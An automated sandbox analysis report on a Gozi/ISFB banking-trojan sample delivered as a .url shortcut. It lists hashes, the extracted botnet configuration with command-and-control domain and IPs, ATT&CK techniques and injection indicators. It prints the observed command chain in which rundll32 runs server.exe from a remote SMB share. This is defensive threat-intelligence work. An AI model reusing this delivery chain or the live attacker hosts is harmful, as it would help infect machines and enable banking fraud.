gozi | c012156914003f60744671be38a8758aadc9aa3431d60ad8a1a05577c76ced1e

Analysis

max time kernel
143s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
02-03-2023 10:59

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General

Target

azienda/azienda.url
Size

192B
MD5

7c979eb1d63d67578329c6c9265046ef
SHA1

da995fa37d041a53c5f510370c314737ad1c23cc
SHA256

6537bdbd6b350022b95421209e5eb8cfd851a556904dd5b7b8a9189b21d40efb
SHA512

617b46a391ac42a93f68e4b4739a0ff9516d73e9761e6a4bc8194b6bb3d633350dcadc29d89bab179953c0908e526ea2a409fc6425c30fdd893a9b1d40c855a3

Score

10^/10

gozi 7709 banker isfb trojan

Malware Config

Extracted

Family

gozi

Botnet

7709

checklist.skype.com

62.173.141.252

31.41.44.33

109.248.11.112

Attributes

base_path
/drew/
build
250255
exe_type
loader
extension
.jlk
server_id
50

rsa_pubkey.plain

aes.plain

Extracted

Family

gozi

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 4864 wrote to memory of 4524	4864	rundll32.exe	server.exe
PID 4864 wrote to memory of 4524	4864	rundll32.exe	server.exe
PID 4864 wrote to memory of 4524	4864	rundll32.exe	server.exe

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\azienda\azienda.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4864

\??\UNC\46.8.19.235\Agenzia\server.exe
"\\46.8.19.235\Agenzia\server.exe"
2⤵
PID:4524

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4524-134-0x0000000002C70000-0x0000000002C7B000-memory.dmp

Filesize
44KB

Download
memory/4524-135-0x0000000002CF0000-0x0000000002CFD000-memory.dmp

Filesize
52KB

Download
memory/4524-138-0x0000000000400000-0x0000000002BB3000-memory.dmp

Filesize
39.7MB

Download